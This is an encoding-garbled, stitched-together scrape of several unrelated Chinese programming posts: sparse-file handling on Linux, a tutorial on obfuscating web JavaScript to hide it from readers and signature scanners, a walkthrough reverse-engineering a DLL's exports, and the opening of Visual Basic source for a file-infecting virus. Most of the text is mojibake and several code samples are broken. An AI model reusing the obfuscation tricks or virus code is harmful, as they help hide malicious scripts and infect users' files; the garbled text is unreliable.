锘??xml version="1.0" encoding="utf-8" standalone="yes"?> [鑻辨枃鍑哄]錛?a >21 Laws of Computer Programming 浠諱綍涓涓湁緇忛獙鐨勭▼搴忓憳閮界煡閬擄紝杞歡寮鍙戦伒寰潃涓浜涗笉鎴愭枃鐨勬硶鍒欍傜劧鑰岋紝濡傛灉浣犱笉閬靛驚榪欎簺娉曞垯涔熷茍涓嶆剰鍛崇潃浼氬彈鍒版儵緗氾紱鐩稿弽錛屾湁鏃朵綘榪樹細鑾峰緱鎰忓鐨勫ソ澶勩?/p>
涓嬮潰鐨勫氨鏄蔣浠剁紪紼嬩腑鐨?1鏉℃硶鍒欙細
[璇戞枃鍑哄]錛?a target=_blank>澶栧垔IT璇勮
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紼鐤忥紙Sparse錛夋枃浠剁殑鍒涘緩
鏂囦歡紼鐤忓寲錛坰parsify錛?/strong>
涓嬮潰鐨勬柟娉曢兘鍙互灝嗕竴涓枃浠剁█鐤忓寲銆?br>
1. cp:
cp緙虹渷浣跨敤--sparse=auto錛屼細鑷姩鎺㈡祴婧愭枃浠朵腑鏄惁鏈夌┖媧烇紝浠ュ喅瀹氱洰鏍囨枃浠舵槸鍚︿負紼鐤忔枃浠訛紱浣跨敤--sparse=never浼氱姝㈠垱寤虹█鐤忔枃浠躲?br>
2. cpio:
濡傛灉涓嶅姞--sparse鍙傛暟錛岀█鐤忔枃浠朵腑鐨勭┖媧炲皢琚~婊°?
3. tar:
濡傛灉涓嶅姞 -S --sparse鍙傛暟錛岀█鐤忔枃浠朵腑鐨勭┖媧炲皢琚~婊°?
鏂囦歡紼鐤忓寲錛坰parsify錛夋晥鐜囨瘮杈?/strong>
涓嬮潰鎴戜滑鍒涘緩涓涓?00M鐨勭█鐤忔枃浠訛紝姣旇緝涓涓嬪嚑縐嶆枃浠剁█鐤忓寲鏂規硶鐨勬晥鐜囥?
鐢辨鍙錛屼笂闈㈠嚑縐嶆枃浠剁█鐤忓寲鐨勬柟娉曚腑錛宑p鐨勬晥鐜囨渶楂橈紱tar鍜宑pio鐢變簬浣跨敤綆¢亾錛屾晥鐜囦笅闄嶃?
浣縀XT2/EXT3鏂囦歡緋葷粺紼鐤忓寲錛坰parsify錛?/strong>
濡備綍鏄竴涓枃浠剁郴緇熺殑鏄犲儚鏂囦歡紼鐤忓寲錛烺on Yorston涓哄ぇ瀹舵彁渚涗簡鍑犵鏂規硶錛屾垜瑙夊緱涓嬮潰鐨勬柟娉曟渶綆鍗曪細
1. 浣跨敤Ron Yorston鐨?a >zerofree灝嗘枃浠剁郴緇熶腑鏈嬌鐢ㄧ殑鍧楁竻闆躲?br>
2.浣跨敤cp鍛戒護浣挎槧鍍忔枃浠剁█鐤忓寲錛?
EXT2/EXT3鏂囦歡緋葷粺鐨剆parse_super鍙傛暟
榪欎釜鍙傛暟涓嶦XT2/EXT3鏄惁鏀寔Sparse鏂囦歡鏃犲叧錛涘綋鎵撳紑璇ュ弬鏁版椂錛屾枃浠剁郴緇熷皢浣跨敤鏇村皯鐨勮秴綰у潡錛圫uper block錛夊浠斤紝浠ヨ妭鐪佺┖闂淬?/p>
濡備笅鐨勫懡浠ゅ彲浠ユ煡鐪嬭鍙傛暟錛?br>
鎴栬咃細
鍙互閫氳繃浣跨敤錛?
鎴栬咃細
鏉ヨ緗鍙傛暟銆?
鍙傝冭祫鏂?br>
銆銆鏄笉鏄緢綆鍗曪紵涓嶈楂樺叴錛岃В瀵嗕篃灝卞悓鏍風殑綆鍗曪紝瑙e瘑浠g爜閮芥憜緇欏埆浜哄暒錛坲nescape()錛夛紒鍛靛懙
銆銆浜岋細杞箟瀛楃""鐨勫鐢?/strong>
銆銆澶у鍙兘瀵硅漿涔夊瓧絎?"涓嶅お鐔熸倝錛屼絾瀵逛簬javascript鎻愪緵浜嗕竴浜涚壒孌婂瓧絎﹀錛歯 錛堟崲琛岋級銆?r 錛堝洖杞︼級銆? 錛堝崟寮曞彿錛夌瓑搴旇鏄湁鎵浜嗚В鐨勫惂錛熷叾瀹?"鍚庨潰榪樺彲浠ヨ窡鍏繘鍒舵垨鍗佸叚榪涘埗鐨勬暟瀛楋紝濡傚瓧絎?a"鍒欏彲浠ヨ〃紺轟負錛?141"鎴?x61"錛堟敞鎰忔槸灝忓啓瀛楃"x"錛夛紝鑷充簬鍙屽瓧鑺傚瓧絎﹀姹夊瓧"榛?鍒欎粎鑳界敤鍗佸叚榪涘埗琛ㄧず涓?u9ED1"錛堟敞鎰忔槸灝忓啓瀛楃"u"錛夛紝鍏朵腑瀛楃"u"琛ㄧず鏄弻瀛楄妭瀛楃錛屾牴鎹繖涓師鐞嗕緥瀛愪唬鐮佸垯鍙互琛ㄧず涓猴細
銆銆鍏繘鍒惰漿涔夊瓧絎︿覆濡備笅:
<SCRIPT LANGUAGE="javascript">
eval("1411541451621645042u9ED1u5BA2u9632u7EBF425173")
</SCRIPT>
銆銆鍗佸叚榪涘埗杞箟瀛楃涓插涓?
<SCRIPT LANGUAGE="javascript">
eval("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")
</SCRIPT>
銆銆榪欐娌℃湁浜嗚В鐮佸嚱鏁幫紝鍥犱負javascript鎵ц鏃朵細鑷杞崲錛屽悓鏍瘋В鐮佷篃鏄緢綆鍗曞涓嬶細
<SCRIPT LANGUAGE="javascript">
alert("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")
</SCRIPT>
銆銆灝變細寮瑰嚭瀵硅瘽妗嗗憡璇変綘瑙e瘑鍚庣殑緇撴灉錛?br> <SCRIPT LANGUAGE="javascript"> 銆銆緙栫爜鍚庣殑緇撴灉濡備笅錛?/p>
<SCRIPT LANGUAGE="JScript.Encode">#@~^FgAAAA==@#@&lsDD`J榛戝闃茬嚎r#p@#@&FgMAAA==^#~@</SCRIPT> 銆銆澶熼毦鐪嬫噦寰楀惂錛熶絾鐩稿簲鐨勮В瀵嗗伐鍏鋒棭宸插嚭鏉ワ紝鑰屼笖榪炶В瀵嗙綉欏甸兘鏈夛紒鍥犱負鍏惰В瀵嗙綉欏典唬鐮佽繃澶氾紝鎴戝氨涓嶅璇存媺錛佺粰澶у浠嬬粛涓涓嬫垜鐙垱鐨勮В瀵嗕唬鐮侊紝濡備笅錛?/p>
<SCRIPT LANGUAGE="JScript.Encode"> 銆銆鍜嬫牱錛熷綆鍗曞惂錛熷畠鏄師鐞嗘槸錛氱紪鐮佸悗鐨勪唬鐮佽繍琛屽墠IE浼氬厛瀵瑰叾榪涜瑙g爜錛屽鏋滄垜浠厛鎶婂姞瀵嗙殑浠g爜鏀懼叆涓涓嚜瀹氫箟鍑芥暟濡備笂闈㈢殑decode()涓紝鐒跺悗瀵硅嚜瀹氫箟鍑芥暟decode璋冪敤toString()鏂規硶錛屽緱鍒扮殑灝嗘槸瑙g爜鍚庣殑浠g爜錛?/p>
銆銆濡傛灉浣犺寰楄繖鏍風紪鐮佸緱鍒扮殑浠g爜LANGUAGE灞炴ф槸JScript.Encode錛屽緢瀹規槗璁╀漢璇嗙牬錛岄偅涔堣繕鏈変竴涓嚑涔庝笉涓轟漢鐭ョ殑window瀵硅薄鐨勬柟娉昬xecScript()錛屽叾鍘熷艦涓猴細 銆銆window.execScript( sExpression, sLanguage ) 銆銆鍙傛暟錛?br> 銆銆鍒╃敤瀹冩垜浠彲浠ュ緢濂界殑榪愯緙栫爜鍚庣殑javascript浠g爜錛屽涓嬶細 <SCRIPT LANGUAGE="javascript"> 銆銆浣犲彲浠ュ埄鐢ㄦ柟娉曚簩瀵瑰叾涓殑""鍙峰唴鐨勫瓧絎︿覆鍐嶈繘琛岀紪鐮侊紝浣垮緱"JScript.Encode"浠ュ強緙栫爜鐗瑰緛鐮?#@~^"涓嶅嚭鐜幫紝鏁堟灉浼氭洿濂斤紒 銆銆鍥涳細浠繪剰娣誨姞NUL絀哄瓧絎︼紙鍗佸叚榪涘埗00H錛?/strong> <S C RI P T L ANG U A G E =" J a v a S c r i p t "> 銆銆濡備綍錛熸槸涓嶆槸鏄懼緱涔變竷鍏碂鐨勶紵濡傛灉涓嶇煡閬撴柟娉曠殑浜哄緢闅炬兂鍒拌鍘繪帀閲岄潰鐨?絀哄瓧絎?錛?0H錛夌殑錛?br> <SCRIPT LANGUAGE="javascript"> 銆銆鑷沖皯濡傛灉鎴戠湅鍒拌繖鏍風殑浠g爜鏄笉浼氭湁蹇冩濆幓鍒嗘瀽瀹冪殑錛屼綘鍝紵 <SCRIPT LANGUAGE="javascript"> 銆銆榪愯寰楀埌鍔犲瘑緇撴灉涓猴細 o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd 銆銆鐩稿簲鐨勫姞瀵嗗悗瑙e瘑鐨勪唬鐮佸涓嬶細 <SCRIPT LANGUAGE="javascript"> 銆銆涓冿細閿欒鐨勫埄鐢?/strong> <SCRIPT LANGUAGE="javascript">
銆銆涓夛細浣跨敤Microsoft鍑哄搧鐨勮剼鏈紪鐮佸櫒Script Encoder鏉ヨ繘琛岀紪鐮?/strong>
銆銆宸ュ叿鐨勪嬌鐢ㄥ氨涓嶅浠嬬粛鍟︼紒鎴戞槸鐩存帴浣跨敤javascript璋冪敤鎺т歡Scripting.Encoder瀹屾垚鐨勭紪鐮侊紒浠g爜濡備笅錛?/p>
var Senc=new ActiveXObject("Scripting.Encoder");
var code='<SCRIPT LANGUAGE="javascript">rnalert("銆婃垜鐖變竴璧楓?);rn</SCRIPT>';
var Encode=Senc.EncodeScriptFile(".htm",code,0,"");
alert(Encode);
</SCRIPT>
function decode()
alert(decode.toString());
</SCRIPT>
sExpression:銆 蹇呴夐」銆傚瓧絎︿覆(String)銆傝琚墽琛岀殑浠g爜銆?br>
sLanguage銆:銆 蹇呴夐」銆傚瓧絎︿覆(String)銆傛寚瀹氭墽琛岀殑浠g爜鐨勮璦銆傞粯璁ゅ間負 Microsoft JScript
浣跨敤鏃訛紝鍓嶉潰鐨?window"鍙互鐪佺暐涓嶅啓錛?/p>
execScript("#@~^FgAAAA==@#@&lsDD`J鎴戠埍涓璧穜#p@#@&FgMAAA==^#~@","JScript.Encode")
</SCRIPT>
銆銆涓嬈″伓鐒剁殑瀹為獙錛屼嬌鎴戝彂鐜板湪HTML緗戦〉涓換鎰忎綅緗坊鍔犱換鎰忎釜鏁扮殑"絀哄瓧絎?錛孖E鐓ф牱浼氭甯告樉紺哄叾涓殑鍐呭錛屽茍姝e父鎵ц鍏朵腑鐨刯avascript 浠g爜錛岃屾坊鍔犵殑"絀哄瓧絎?鎴戜滑鍦ㄧ敤涓鑸殑緙栬緫鍣ㄦ煡鐪嬫椂錛屼細鏄劇ず褰㈠絀烘牸鎴栭粦鍧楋紝浣垮緱鍘熺爜寰堥毦鐪嬫噦錛屽鐢ㄨ浜嬫湰鏌ョ湅鍒?絀哄瓧絎?浼氬彉鎴?絀烘牸"錛屽埄鐢ㄨ繖涓師鐞嗗姞瀵嗙粨鏋滃涓嬶細錛堝叾涓樉紺虹殑"絀烘牸"浠h〃"絀哄瓧絎?錛?/p>
a l er t (" 鎴?nbsp;鐖?nbsp;涓 璧?) ;
< / SC R I P T>
銆銆浜旓細鏃犵敤鍐呭娣蜂貢浠ュ強鎹㈣絀烘牸TAB澶ф硶
銆銆鍦╦avascript浠g爜涓垜浠彲浠ュ姞鍏ュぇ閲忕殑鏃犵敤瀛楃涓叉垨鏁板瓧錛屼互鍙婃棤鐢ㄤ唬鐮佸拰娉ㄩ噴鍐呭絳夌瓑錛屼嬌鐪熸鐨勬湁鐢ㄤ唬鐮佸煁娌″湪鍏朵腑錛屽茍鎶婃湁鐢ㄧ殑浠g爜涓兘鍔犲叆鎹㈣銆佺┖鏍箋乀AB鐨勫湴鏂瑰姞鍏ュぇ閲忔崲琛屻佺┖鏍箋乀AB錛屽茍鍙互鎶婃甯哥殑瀛楃涓茬敤""鏉ヨ繘琛屾崲琛岋紝榪欐牱灝變細浣垮緱浠g爜闅句互鐪嬫噦錛佸鎴戝姞瀵嗗悗鐨勫艦寮忓涓嬶細
"xajgxsadffgds";1234567890
625623216;var $=0;alert//@$%%&*()(&(^%^
//cctv function//
(//hhsaasajx xc
/*
asjgdsgu*/
"鎴戠埍涓璧?//ashjgfgf
/*
@#%$^&%$96667r45fggbhytjty
*/
//window
)
;"#@$#%@#432hu";212351436
</SCRIPT>
銆銆鍏細鑷啓瑙e瘑鍑芥暟娉?/strong>
銆銆榪欎釜鏂規硶鍜屼竴銆佷簩宸笉澶氾紝鍙笉榪囨槸鑷繁鍐欎釜鍑芥暟瀵逛唬鐮佽繘琛岃В瀵嗭紝寰堝VBS鐥呮瘨浣跨敤榪欑鏂規硶瀵硅嚜韜繘琛屽姞瀵嗭紝鏉ラ槻姝㈢壒寰佺爜鎵弿錛佷笅闈㈡槸鎴戝啓鐨勪竴涓畝鍗曠殑鍔犲瘑瑙e瘑鍑芥暟錛屽姞瀵嗕唬鐮佸涓嬶紙璇︾粏鍙傜収鏂囦歡"鍔犲瘑.htm"錛夛細
function compile(code)
{
var c=String.fromCharCode(code.charCodeAt(0)+code.length);
for(var i=1;i<code.length;i++)
alert(escape(c));
}
compile('alert("銆婃垜鐖變竴璧楓?);')
</SCRIPT>
function uncompile(code)
{
code=unescape(code);
var c=String.fromCharCode(code.charCodeAt(0)-code.length);
for(var i=1;i<code.length;i++)
return c;
}
eval(uncompile("o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd"));
</SCRIPT>
銆銆鍒╃敤try{}catch(e){}緇撴瀯瀵逛唬鐮佽繘琛屾祴璇曡В瀵嗭紝铏界劧榪欎釜鎯蟲硶寰堝ソ錛堝懙鍛碉紝澶稿じ鑷繁錛夛紝鍥犱負瀹炵敤鎬т笉澶э紝鎴戜粎緇欎釜渚嬪瓙
var a='alert("銆婃垜鐖變竴璧楓?);';
var c="";
for(var i=0;i<a.length;i++)
alert(c);
//涓婇潰鐨勬槸鍔犲瘑浠g爜錛屽綋鐒跺鏋滅湡姝d嬌鐢ㄨ繖涓柟娉曟椂錛屼笉浼氭妸鍔犲瘑鍐欎笂鐨?br>//鐜板湪鍙橀噺c灝辨槸鍔犲瘑鍚庣殑浠g爜
//涓嬮潰鐨勫嚱鏁皌()鍏堝亣璁懼垵濮嬪瘑鐮佷負錛愶紝瑙e瘑鎵ц錛?br>//閬囧埌閿欒鍒欐妸瀵嗙爜鍔狅紤錛岀劧鍚庢帴鐫瑙e瘑鎵ц錛岀洿鍒版紜繍琛?br>var d=c; //淇濆瓨鍔犲瘑鍚庣殑浠g爜
var b=0; //鍋囧畾鍒濆瀵嗙爜涓?
t();
function t()catch(e){
c="";
for(var i=0;i<d.length;i++)
b+=1;
t();
//setTimeout("t()",0);
}
}
</SCRIPT>
涓嶇煡閬撹浣嶇湅瀹樻槸鍚︽湁榪囪繖鏍風殑緇忓巻錛氬湪涓嶇粡鎰忎箣闂村彂鐜頒竴涓狣LL鏂囦歡錛屽畠閲岃竟鏈変笉灝戞湁瓚g殑瀵煎嚭鍑芥暟鈥斺斾絾鏄敱浜庝綘涓嶇煡閬撳浣曡皟鐢ㄨ繖浜涘嚱鏁幫紝鎵浠ュ彧鑳藉ぇ鍙戞劅鎱ㄨ屽張鏃犺兘涓哄姏鐒夈傚浐鐒舵湁浜涚煡鍚嶇殑DLL鍙互鐩存帴閫氳繃鎼滅儲寮曟搸鏉ユ壘鍒板畠鐨勪嬌鐢ㄦ柟寮忥紙姣斿鏈枃涓殑渚嬪瓙ipsearcher.dll錛夛紝涓嶈繃鎴戜滑璇氱劧涓嶈兘甯屾湜鑷繁鎬昏兘浜ゅ埌榪欐牱鐨勫ソ榪愩傛墍浠ュ湪鏈枃涓紝鏉庨┈甯屾湜閫氳繃鑷繁鏂囩悊涓嶇敋閫氳揪鐨勮瑙h兘澶熺粰澶у浠ユ巿浜轟互娓旂殑鏁堟灉銆?/p>
鍏堝喅鏉′歡
闃呰鏈枃錛屼綘闇瑕佸叿澶囦互涓嬪厛鍐蟲潯浠訛細
鍑嗗濂戒簡鍚楋紵閭d箞鎴戜滑鍋氫竴涓儹韜繍鍔ㄥ惂鍏堛?/p>
鐑韓鈥斺斿嚱鏁拌皟鐢ㄧ害瀹?/strong>
榪欓噷瑕佽緇嗕粙緇嶇殑鏄湁鍏沖嚱鏁拌皟鐢ㄧ害瀹氱殑鍐呭錛屽鏋滀綘宸茬粡浜嗚В浜嗚繖鏂歸潰鐨勫唴瀹癸紝鍙互璺寵繃鏈妭銆?/p>
浣犲彲鑳藉湪瀛︿範Windows紼嬪簭璁捐鐨勬椂鍊欐棭宸叉帴瑙﹁繃“鍑芥暟璋冪敤綰﹀畾”榪欎釜璇嶆眹浜嗭紝閭d釜鏃跺欎綘鎵浜嗚В鐨勫唴瀹瑰彲鑳芥槸涓涓緇熺殑姒傚康錛屽唴瀹瑰ぇ鎶墊槸璇村嚱鏁拌皟鐢ㄧ害瀹氬氨鏄寚鐨勫嚱鏁板弬鏁拌繘鏍堥『搴忎互鍙婂爢鏍堜慨姝f柟寮忋傝濡俢decl璋冪敤綰﹀畾鏄嚱鏁板弬鏁拌嚜鍙寵屽乏榪涙爤錛岀敱璋冪敤鑰呬慨澶嶅爢鏍堬紱stdcall璋冪敤綰﹀畾浜︽槸鍑芥暟鍙傛暟鑷彸鑰屽乏榪涙爤錛屼絾鏄敱琚皟鐢ㄨ呬慨澶嶅爢鏍?#8230;…鍣笉錛岃繖澶櫐娑╀簡鈥斺斿湪婧愪唬鐮佷笂鎴戜滑鏄棤娉曠湅鍒拌繖浜涗笢瑗跨殑錛?/p>
閭d箞鎴戜滑鍒棤閫夋嫨錛屽彧鏈夋繁鍏ュ埌姹囩紪涓灞備簡銆傝冭檻浠ヤ笅C++浠g爜錛?/p>
#include <stdio.h> |
瀵瑰簲鐨勬眹緙栦唬鐮佷負錛?/p>
; int __cdecl max1( int a, int b ) |
濂戒簡錛屾垜鏉ョ畝瑕佷粙緇嶄竴涓嬨傚嚱鏁板弬鏁頒紶鍏ュ嚱鏁頒綋鏄熺敱鍫嗘爤孌靛畬鎴愮殑錛屼篃灝辨槸灝嗗悇涓弬鏁頒緷鏌愮嬈″簭鎺ㄥ叆SS涓斺斿湪cdecl涓巗tdcall綰﹀畾涓紝榪欎釜嬈″簭閮芥槸鑷彸鑰屽乏鐨勩傚彟澶栵紝鐢變簬灝嗗弬鏁版帹鍏ヤ簡鍫嗘爤鑷翠嬌鍫嗘爤鎸囬拡ESP鍙戠敓浜嗗彉鍖栵紝鎵浠ヨ鍦ㄥ嚱鏁扮粨鏉熺殑鏃跺欓噸鏂頒慨姝SP銆備粠涓婅竟鐨勬眹緙栦唬鐮佷腑浣犱篃鍙互寰堟竻妤氬湴鐪嬪埌錛宑decl綰﹀畾鏄湪璋冪敤max1涔嬪悗淇鐨凟SP錛岃宻tdcall綰﹀畾鍒欐槸鍦╩ax2榪斿洖鏃跺熺敱RETN 8瀹屾垚浜嗚繖涓慨姝e伐浣溿?/p>
鍙﹀錛屼粠涓婅竟鐨勬眹緙栦唬鐮佷腑榪樺彲浠ョ湅鍒幫紝鍑芥暟鐨勮繑鍥炲兼槸鐢盓AX甯﹀洖鐨勩?/p>
搴栦竵瑙g墰
鍦ㄤ簡瑙d簡浠ヤ笂鐨勭煡璇嗗悗錛屾垜浠氨鍙互浣跨敤璋冭瘯鍣ㄦ潵璋冭瘯閭d釜鏈煡鐨凞LL浜嗐傚彲浠ヨ錛岃繖鏁翠釜鐨勮皟璇曡繃紼嬪厖婊′簡鎯婇櫓鍜屽埡嬋錛岃屼笖鎴戜滑榪橀渶瑕佷竴瀹氱殑鎶宸р斺斿鏋滀綘鍍忔垜涓鏍蜂笉鍠滄闃呰姹囩紪浠g爜鐨勮瘽銆?/p>
鍦ㄦ湰鏂囦腑錛屾垜鎵閫夋嫨鐨勮皟璇曠ず渚嬫槸FTerm涓檮甯︾殑ipsearcher.dll錛屽畠鎻愪緵浜嗗綰湡IP鏁版嵁搴撶殑鏌ヨ鎺ュ彛銆備笅鍥炬槸鐢―ependency Walker瀵瑰叾鍒嗘瀽鐨勭粨鏋滐細
浣犲彲浠ョ湅鍒幫紝榪欓噷杈規湁涓や釜瀵煎嚭鍑芥暟錛歀ookupAddress鍜宊GetAddress錛岄偅涔堟垜浠彲浠ユ寜鐓ц繑鍥炲箋佽皟鐢ㄧ害瀹氥佸嚱鏁板悕銆佸弬鏁板垪琛ㄧ殑欏哄簭灝嗗畠浠0鏄庡涓嬶細
? ? LookupAddress( ? ); |
鏄殑錛屾湁澶鐨勬湭鐭ワ紝涓嬮潰鏉庨┈灝嗚閫愪竴鍦扮牬瑙h繖浜涢棶鍙楓?/p>
璋冭瘯鍣ㄤ笉鍙兘瀛ょ珛鍦板DLL榪涜璋冭瘯錛屾垜浠墍闇瑕佺殑搴旇鏄竴涓悎閫傜殑EXE錛岃繖鏍鋒湁鍔╀簬鎴戜滑鐨勬帰絀跺伐浣溿傚湪榪欓噷鎴戦夋嫨鐨凟XE鏄垜緙栧啓鐨刬psearcher.exe錛屽綋鐒惰繖鍙兘浼氳浣犺涓烘垜榪欑瘒鏂囩珷鐨勭粍緇囬『搴忔湁闂鈥斺旀瘯绔熸槸鎴戝凡緇忕煡閬撲簡榪欎袱涓鍑哄嚱鏁頒箣鍚庯紙緙栧啓浜唅psearcher.exe錛夎繕瑕佸亣瑁呮垚涓嶇煡閬撶殑鏍峰瓙鏉ュipsearcher.dll鏉ヨ繘琛屾帰絀訛紝鎵浠ユ垜鍐沖畾鍦ㄤ笅鏂囦腑涓嶅ipsearcher.exe鐨勪唬鐮佽繘琛屼換浣曞叧娉紝鑰屾槸鐩存帴榪涘叆鍒癷psearcher.dll鐨勯絀恒?/p>
鎵撳紑璋冭瘯鍣紝杞藉叆ipsearcher.exe銆傚綋ipsearcher.dll琚杞藉悗錛屼細寮曞彂涓涓闂紓甯革紝鍙互蹇界暐榪欎釜寮傚父緇х畫璋冭瘯銆傛牴鎹瓺ependency Walker鐨勫垎鏋愮粨鏋滐紝鍦╥psearcher.dll鐨?x00001BB0鍜?x00001C40澶勫悇涓嬩竴涓柇鐐廣傜幇鍦ㄥ湪“IP鍦板潃”涓緭鍏ヤ竴涓狪P鍦板潃錛堣繖閲屼互瀵掓硥BBS鐨処P涓轟緥錛夛紝鐐瑰嚮“鏌ヨ”錛屼細鍙戠幇鎸囦護璺沖叆0x00001C40涓紙涔熷氨鏄痏GetAddress錛夛紝瀹冪殑浠g爜濡備笅錛?/p>
10001C40 MOV EAX,DWORD PTR SS:[ESP+4] ; 涓涓弬鏁?/font> |
寰堢煭鐨勫嚑琛屼唬鐮侊紝涓嶈繃瀹冨凡緇忓彲浠ユ彁渚涜繖浜涗俊鎭簡錛?/p>
浜庢槸錛屾垜浠彲浠ユ浛鎹竴涓嬪垰鎵嶇殑闂彿浜嗭細
? CDECL LookupAddress( ?, ? ); |
涓嬮潰鍙互榪涜鍗曟璋冭瘯浜嗭紝褰撲唬鐮佹鑷?0001C44鏃訛紝浣犱細鍙戠幇瀵勫瓨鍣ㄧ獥鍙e彂鐢熶簡濡備笅鐨勫彉鍖栵細
“202.207.177.9”緇堜簬鍑虹幇浜嗭紝榪欐牱涓鏉ユ垜浠彲浠ョ戶緇闂彿榪涜鏇挎崲浜嗭細
? CDECL LookupAddress( PCSTR, ? ); |
鐜板湪緇х畫瀵逛唬鐮佽繘琛岃窡韙紝鏄繘鍏ookupAddress鐨勬椂鍊欎簡銆傛垜浠彲浠ヤ粠鍏堝墠_GetAddress鐨勪唬鐮佷腑鍙互鍙戠幇錛岃繖涓や釜瀵煎嚭鍑芥暟涓鐩村湪鍥寸粫10009BE8榪欎釜鍦板潃鍋氭枃绔狅紝閭d箞鎴戜滑灝辮鍦ㄥ崟姝ヨ皟璇昄ookupAddress鐨勫悓鏃跺叧娉ㄨ繖涓湴鍧鐨勬暟鎹敼鍙樸傚嚑姝ヨ窡韙箣鍚庯紝浣犱細鍙戠幇10009BE8寮澶寸殑8瀛楄妭錛堜袱涓狣WORD錛夋暟鎹彂鐢熶簡鏀瑰彉錛屽彉鎴愪簡10009AB4鍜?0009B1C銆傞偅涔堟垜浠啀杞悜榪欎袱涓湴鍧錛屼細鍙戠幇錛?/p>
榪欐牱涓鏉ュ氨寰堟竻妤氫簡錛?0009BE8鏄竴涓瓧絎︿覆鎸囬拡鐨勬暟緇勶紝瀹冩湁涓や釜鍏冪礌銆備篃灝辨槸璇達紝鎴戜滑鐨勫嚱鏁板0鏄庡彲浠ユ崲鎴愯繖鏍鳳細
? CDECL LookupAddress( PCSTR, PSTR* ); |
鎺ヤ笅鏉ラ渶瑕佺‘瀹氱殑灝辨槸LookupAddress鐨勮繑鍥炲間簡銆傜旱瑙侺ookupAddress鐨勮繑鍥炰唬鐮侊紝浣犱細鍙戠幇榪欐牱鐨勭墖鏂細
; 鐗囨柇1 |
涔熷氨鏄錛岃繖涓嚱鏁版湁涓や釜榪斿洖鍊鹼細0鎴?銆傞偅涔堟渶鍚庣殑鐪熺浉緇堜簬澶х櫧浜庡ぉ涓嬧斺?/p>
BOOL CDECL LookupAddress( PCSTR, PSTR* ); |
GetProcAddress錛?/strong>
鍒版涓烘錛岃繖涓や釜鍑芥暟鐨勫0鏄庣粓浜庤鎴戜滑鎵懼嚭鏉ヤ簡銆備篃璁鎬綘浼氳寰楄繖灝卞浜嗏斺旀帴涓嬫潵灝辨槸鐢╰ypedef瀹氫箟鍑芥暟鎸囬拡錛岀劧鍚庝嬌鐢↙oadLibrary銆丟etProcAddress璋冪敤榪欎簺鍑芥暟鐨勪簨鎯呬簡銆?/p>
濡傛灉浣犵湡鐨勮繖涔堣涓虹殑璇濓紝閭f垜璁や負鎴戞湁蹇呰鍚戜綘浠嬬粛榪欏彟澶栫殑涓縐嶆柟寮忋?/p>
棣栧厛璇蜂綘寤虹珛涓涓悕涓篿psearcher.def鐨勬枃浠訛紝鐒跺悗鍦ㄥ叾涓啓鍏ュ涓嬪唴瀹癸細
LIBRARY "ipsearcher" |
灝嗘枃浠朵繚瀛樺悗錛岃繘鍏ュ埌鍛戒護琛屾ā寮忎笅錛岃緭鍏ヤ互涓嬪懡浠わ紙鍓嶆彁鏄綘鎷ユ湁Visual Studio鐨勯檮甯﹀伐鍏穕ib.exe騫舵湁姝g‘鐨勮礬寰勬寚鍚戙備互Visual Studio 6.0涓轟緥錛岃繖涓伐鍏烽氬父浣嶄簬Microsoft Visual Studio\VC98\Bin涓嬶級錛?/p>
lib /def:ipsearcher.def
鎵ц鐨勭粨鏋滄湁涓涓鍛婏紝涓嶅繀鐞嗕細銆傝繖鏃跺欐垜浠細鍙戠幇錛宭ib涓烘垜浠敓鎴愪簡涓涓猧psearcher.lib銆?/p>
鐒跺悗錛屾垜浠戶緇紪鍐檌psearcher.h鏂囦歡錛屽涓嬶細
#ifndef IPSEARCHER_H |
澶у姛鍛婃垚錛佽繖鏍鋒垜浠氨涓鴻繖涓厜縐冪鐨刬psearcher.dll鍋氫簡涓浠絊DK寮鍙戝寘錛岃屼笉蹇呭啀浣跨敤鍔ㄦ佸姞杞界殑鏂規硶浜嗐?/p>
鎬葷粨涓涓嬪啀
鍏跺疄錛屾帰絀朵竴涓狣LL騫墮潪鍍忔垜榪欓噷鎵璁茶堪鐨勮繖涔堢畝鍗曘傝繖欏瑰伐浣滃緢鍙兘闇瑕侀槄璇誨ぇ閲忕殑姹囩紪浠g爜錛屼簡瑙LL鍑芥暟浣撶殑嫻佺▼鎵嶈兘浣跨湡鐩稿ぇ鐧戒簬澶╀笅銆傚彟澶栵紝榪樹笉鑳芥帓闄ゆ湁鐨凞LL琚姞瀵嗐佸姞澹熾佸弽璺熻釜……涔熷氨鏄瀵逛簬ipsearcher.dll錛岄偅綆鐩村氨鏄垜鎹′簡涓究瀹滄潵鍊熻姳鐚經浜嗐?/p>
Option Explicit
Private Victim As String '瑕佹劅鏌撶殑鏂囦歡鐨勫悕瀛?br>Private HostLen As Long '瑕佹劅鏌撶殑鏂囦歡鐨勫ぇ灝?br>Private vbArray() As Byte '鐥呮瘨鐨勪唬鐮?br>Private hArray() As Byte '瑕佹劅鏌撶殑鏂囦歡鐨勪唬鐮?br>Private lenght As Long
Private MySize As Integer '鐥呮瘨鐨勫ぇ灝?/p>
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '鍑洪敊澶勭悊
'鍘熺悊錛氬皢鐢熸垚鐥呮瘨鏂囦歡鐨勪唬鐮佽鍑猴紝綺樺湪瑕佽鎰熸煋鐨勬枃浠剁殑鍚庨潰銆?br>Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'榪欐槸鍦ㄨ鑷繁鐨勪唬鐮?/p>
